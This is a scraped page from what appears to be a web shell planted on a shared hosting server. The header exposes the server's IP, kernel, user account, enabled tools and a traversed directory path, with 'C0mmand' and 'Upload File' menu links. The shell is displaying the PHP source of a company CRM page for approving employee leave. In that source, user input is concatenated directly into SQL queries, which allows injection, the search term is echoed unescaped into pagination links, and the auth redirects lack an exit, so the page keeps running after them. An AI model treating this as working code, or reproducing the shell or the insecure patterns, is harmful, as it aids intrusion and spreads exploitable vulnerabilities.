|
Server IP : 103.53.40.154 / Your IP : 3.149.250.65 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/naturewoodfloor.in/../geavibs.com/../shsindia.com/crm/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once('include/config.php');
if (!isLoggedIn()) {
$_SESSION['msg'] = "You must log in first";
header('location: login.php');
}
if (!isAdmin()) {
$_SESSION['msg'] = "You are not Admin";
header('location: login.php');
}
if ($_SERVER["REQUEST_METHOD"] === "POST") {
if (isset($_POST['active'])) {
// Handle the active logic here
$checkedIDs = $_POST['checkedIDs'];
foreach ($checkedIDs as $pageID) {
$sql = "UPDATE tbl_leave_application SET leave_status='Approve' WHERE leave_id='$pageID'";
$result = mysqli_query($db, $sql) or die("Query unsuccessful");
mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES
('".$_POST['pageID']."','','Leave Approve','Leave Application','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')");
}
if ($result) {
echo "<script>
window.alert('Approve successfully.');
window.location.href = 'imployeeleave-details.php';
</script>";
}
}
if (isset($_POST['inactive'])) {
// Handle the inactive logic here
$checkedIDs = $_POST['checkedIDs'];
foreach ($checkedIDs as $pageID) {
$sql = "UPDATE tbl_leave_application SET leave_status='Disapprove' WHERE leave_id='$pageID'";
$result = mysqli_query($db, $sql) or die("Query unsuccessful");
mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES
('".$_POST['pageID']."','','Leave Disapprove','Leave Application','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')");
}
if ($result) {
echo "<script>
window.alert('Disapprove successfully.');
window.location.href = 'imployeeleave-details.php';
</script>";
}
}
if (isset($_POST['delete'])) {
// Handle the inactive logic here
$checkedIDs = $_POST['checkedIDs'];
foreach ($checkedIDs as $pageID) {
$sql = "DELETE FROM `tbl_leave_application` WHERE leave_id='$pageID'";
$result = mysqli_query($db, $sql) or die("Query unsuccessful");
mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES
('".$_POST['pageID']."','','Delete Leave Req.','Leave Application','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')");
}
if($result){
echo "<script>
window.alert('Deleted successfully.');
window.location.href = 'imployeeleave-details.php';
</script>";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php include "top-links.php"?>
</head>
<body>
<div class="wrapper">
<?php include "header.php"?>
<?php include "sidebar.php"?>
<div class="content-page">
<div class="content">
<?php
echo'<h1 class="page-title" style="text-align:center; padding-top:30px;">Coming Soon! </h1>';
echo'<h4 class="page-title" style="text-align:center;">This Section is under construction.</h4>';
exit;
?>
<!-- Start Content-->
<div class="container-fluid">
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<h4 class="header-title">Employee Leave Detials</h4>
</div>
<div class="card-body">
<div class="row">
<div class="col-6">
<div class="form-group" style="width:100px;">
<label for="entriesPerPage">Show entries:</label>
<select class="form-control" id="entriesPerPage" onchange="changeEntriesPerPage(this.value)">
<option value="20" <?php if ($limit == 20) echo "selected"; ?>>20</option>
<option value="50" <?php if ($limit == 50) echo "selected"; ?>>50</option>
<option value="100" <?php if ($limit == 100) echo "selected"; ?>>100</option>
<option value="500" <?php if ($limit == 500) echo "selected"; ?>>500</option>
</select>
</div>
</div>
<div class="col-6">
<!--<div class="form-group" style="width:100px;">-->
<!-- <input type="text" id="searchInput" placeholder="Search Data">-->
<!--</div>-->
<div class="app-search d-lg-block">
<label for="entriesPerPage">Search Data:</label>
<div class="input-group">
<input type="text" class="form-control" id="searchInput" placeholder="Search..." onkeydown="if(event.keyCode==13){ search(); }">
<!--<span class="ri-search-line search-icon text-muted"></span>-->
</div>
</div>
</div>
</div><hr>
<table id="basic-datatable" class="table table-striped dt-responsive nowrap w-100">
<thead>
<tr>
<th>Sr No</th>
<th>Subject</th>
<th>Leave Type</th>
<th>Leave By</th>
<th>Leave Details</th>
<th>Leave Date</th>
<th>Leave To Date</th>
<th class="text-center">Status</th>
<th class="text-center"><input type="checkbox" id="selectAll"/></th>
<!--<th>Edit</th>-->
</tr>
</thead>
<form method="POST" action="<?php $_PHP_SELF?>" onsubmit="return validateForm()">
<tbody>
<?php
$date = date("Y-m-d");
$limit = isset($_GET['entries']) ? $_GET['entries'] : 20;
$page = isset($_GET['page']) ? $_GET['page'] : 1;
$start = ($page - 1) * $limit;
$searchTerm = isset($_GET['search']) ? $_GET['search'] : '';
$sql = "SELECT * FROM `tbl_leave_application`";
// $sql = "SELECT * FROM `tbl_leave_application` WHERE leave_send_date LIKE '%$date%' ";
if (!empty($searchTerm)) {
$sql .= " WHERE `leave_type` LIKE '%$searchTerm%'";
}
$sql .= " ORDER BY leave_id DESC LIMIT $start, $limit";
$run = mysqli_query($db, $sql) or die("Query Not run");
$count = $start;
while ($data = mysqli_fetch_assoc($run)) {
$count++;
?>
<tr>
<td><?php echo $count; ?></td>
<td><?php echo $data['leave_subject']; ?> </td>
<td><?php echo $data['leave_type']; ?></td>
<td>
<?php
$d = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_employee where emp_id='".$data["leave_by_id"]."' "));
echo $d['emp_name'];
?>
</td>
<td><?php echo $data['leave_detail']; ?></td>
<td><?php echo $data['leave_date']; ?></td>
<td><?php echo $data['leave_to_date']; ?></td>
<td><?php echo $data['leave_status']; ?></td>
<td class="text-center">
<input type="checkbox" name="checkedIDs[]" class="selectItem" value="<?php echo $data["leave_id"]?>" />
<input type="hidden" name="pageID" value="<?php echo $data["leave_by_id"]?>">
</td>
<!--<td><a href="#"><i class="ri-edit-fill" style="font-size: medium; color: green;"></i> </a></td>-->
</tr>
<?php } ?>
</tbody>
<tfoot>
<tr style="text-align: right;">
<td colspan="10" class="text-right">
<button type="submit" name="active" class="btn btn-success pull-right mr5" >Approve</button>
<button type="submit" name="inactive" class="btn btn-danger pull-right mr5" >Disapprove</button>
<button type="submit" name="delete" class="btn btn-danger pull-right mr5" >Delete</button>
</td>
</tr>
<tfoot>
</form>
</table>
<?php
// Set the limit and page number
$limit = isset($_GET['entries']) ? (int)$_GET['entries'] : 20;
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$start = ($page - 1) * $limit;
// Search term
$searchTerm = isset($_GET['search']) ? $_GET['search'] : '';
// Count total records
$sqlCount = "SELECT COUNT(*) AS total FROM `tbl_leave_application`";
if (!empty($searchTerm)) {
$sqlCount .= " WHERE `leave_type` LIKE '%$searchTerm%'";
}
$result = mysqli_query($db, $sqlCount);
$row = mysqli_fetch_assoc($result);
$total_records = $row['total'];
// Calculate total pages
$total_pages = ceil($total_records / $limit);
$range = 10;
if ($total_pages > 1) { // Only show pagination if there's more than one page
echo "<ul class='pagination' style='text-align: right;'>";
// First and Previous links
if ($page > 1) {
echo "<li class='page-item'><a class='page-link' href='?page=1&entries=$limit&search=$searchTerm'>First</a></li>";
echo "<li class='page-item'><a class='page-link' href='?page=" . ($page - 1) . "&entries=$limit&search=$searchTerm'>«</a></li>";
}
// Page number links
for ($i = max(1, $page - $range); $i <= min($page + $range, $total_pages); $i++) {
$activeClass = ($page == $i) ? "active" : "";
echo "<li class='page-item $activeClass'><a class='page-link' href='?page=$i&entries=$limit&search=$searchTerm'>$i</a></li>";
}
// Next and Last links
if ($page < $total_pages) {
echo "<li class='page-item'><a class='page-link' href='?page=" . ($page + 1) . "&entries=$limit&search=$searchTerm'>»</a></li>";
echo "<li class='page-item'><a class='page-link' href='?page=$total_pages&entries=$limit&search=$searchTerm'>Last</a></li>";
}
echo "</ul>";
}
?>
</div>
<!-- end card body-->
</div> <!-- end card -->
</div><!-- end col-->
</div>
</div>
</div>
</div>
</div>
<script>
function togglePasswordVisibility() {
var passwordField = document.getElementById('password');
var passwordToggle = document.getElementById('password-toggle');
if (passwordField.type === 'password') {
passwordField.type = 'text';
passwordToggle.className = 'fa fa-eye-slash';
} else {
passwordField.type = 'password';
passwordToggle.className = 'fa fa-eye';
}
}
</script>
<?php include "footer.php"?>
</body>
</html>